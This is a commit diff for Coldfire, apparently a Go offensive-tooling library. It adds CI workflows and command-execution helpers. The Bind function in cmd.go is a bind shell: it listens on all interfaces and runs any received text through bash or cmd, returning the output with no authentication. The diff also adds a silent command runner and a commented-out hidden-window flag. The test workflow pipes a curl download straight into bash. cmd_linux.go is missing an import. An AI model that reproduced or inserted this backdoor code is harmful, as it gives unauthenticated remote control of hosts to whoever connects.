feat: cleanup of the repository

This is initial cleanup of the Coldfire repository. Functions are spread between files in logical manner.
In the future, instead of files lied flat in coldfire package, subpackages should be created.

Some basic tests are added, additionally created GitHub Actions workflows.

Closes #27

Author: shanduur

.github/workflows/static-check.yml

@@ -0,0 +1,29 @@
+on: 
+  pull_request:
+    branches:
+      - master
+name: Static Check
+
+jobs:
+
+  fmt:
+    name: Fmt
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@master
+    - name: check
+      uses: grandcolline/golang-github-actions@v1.1.0
+      with:
+        run: fmt
+        token: ${{ secrets.GITHUB_TOKEN }}
+
+  lint:
+    name: Lint
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@master
+    - name: check
+      uses: grandcolline/golang-github-actions@v1.1.0
+      with:
+        run: lint
+        token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/test.yml

@@ -0,0 +1,25 @@
+on:
+  pull_request:
+    branches:
+      - master
+name: Test
+
+jobs:
+
+  test:
+    runs-on: ubuntu-latest
+    steps:
+    - name: Install Go
+      uses: actions/setup-go@v2
+      with:
+        go-version: 1.17.x
+    - name: Checkout code
+      uses: actions/checkout@v2
+    - name: Test
+      run: |
+        go test -coverprofile coverage.txt -covermode atomic ./...
+    - name: Upload report
+      env:
+        CODECOV_TOKEN: "{{ secrets.CODECOV_TOKEN }}"
+      run: |
+        bash <(curl -s https://codecov.io/bash)

cmd.go

@@ -0,0 +1,98 @@
+package coldfire
+
+import (
+	"fmt"
+	"net"
+	"os"
+	"os/exec"
+	"runtime"
+	"strconv"
+	"strings"
+)
+
+// CmdOut executes a given command and returns its output.
+func CmdOut(command string) (string, error) {
+	return cmdOut(command)
+}
+
+// CmdOutPlatform executes a given set of commands based on the OS of the machine.
+func CmdOutPlatform(commands map[string]string) (string, error) {
+	cmd := commands[runtime.GOOS]
+	out, err := CmdOut(cmd)
+	if err != nil {
+		return "", err
+	}
+
+	return out, nil
+}
+
+// CmdRun executes a command and writes output as well
+// as error to STDOUT.
+func CmdRun(command string) {
+	parts := strings.Fields(command)
+	head := parts[0]
+	parts = parts[1:]
+	cmd := exec.Command(head, parts...)
+	output, err := cmd.CombinedOutput()
+	if err != nil {
+		PrintError(err.Error())
+		fmt.Println(string(output))
+	} else {
+		fmt.Println(string(output))
+	}
+}
+
+// CmdBlind runs a command without any side effects.
+func CmdBlind(command string) {
+	parts := strings.Fields(command)
+	head := parts[0]
+	parts = parts[1:]
+	cmd := exec.Command(head, parts...)
+	_, _ = cmd.CombinedOutput()
+}
+
+// CmdDir executes commands which are mapped to a string
+// indicating the directory where the command is executed.
+func CmdDir(dirs_cmd map[string]string) ([]string, error) {
+	outs := []string{}
+	for dir, cmd := range dirs_cmd {
+		err := os.Chdir(dir)
+		if err != nil {
+			return nil, err
+		}
+
+		o, err := CmdOut(cmd)
+		if err != nil {
+			return nil, err
+		}
+		outs = append(outs, o)
+	}
+
+	return outs, nil
+}
+
+// Bind tells the process to listen to a local port
+// for commands.
+func Bind(port int) {
+	listen, err := net.Listen("tcp", "0.0.0.0:"+strconv.Itoa(port))
+	ExitOnError(err)
+	defer listen.Close()
+
+	for {
+		conn, err := listen.Accept()
+		if err != nil {
+			PrintError("Cannot bind to selected port")
+		}
+		handleBind(conn)
+	}
+}
+
+func handleBind(conn net.Conn) {
+	for {
+		buffer := make([]byte, 1024)
+		length, _ := conn.Read(buffer)
+		command := string(buffer[:length-1])
+		out, _ := CmdOut(command)
+		conn.Write([]byte(out))
+	}
+}

cmd_linux.go

@@ -0,0 +1,8 @@
+package coldfire
+
+func cmdOut(command string) (string, error) {
+	cmd := exec.Command("bash", "-c", command)
+	output, err := cmd.CombinedOutput()
+	out := string(output)
+	return out, err
+}

cmd_windows.go

@@ -0,0 +1,11 @@
+package coldfire
+
+import "os/exec"
+
+func cmdOut(command string) (string, error) {
+	cmd := exec.Command("cmd", "/C", command)
+	//cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+	output, err := cmd.CombinedOutput()
+	out := string(output)
+	return out, err
+}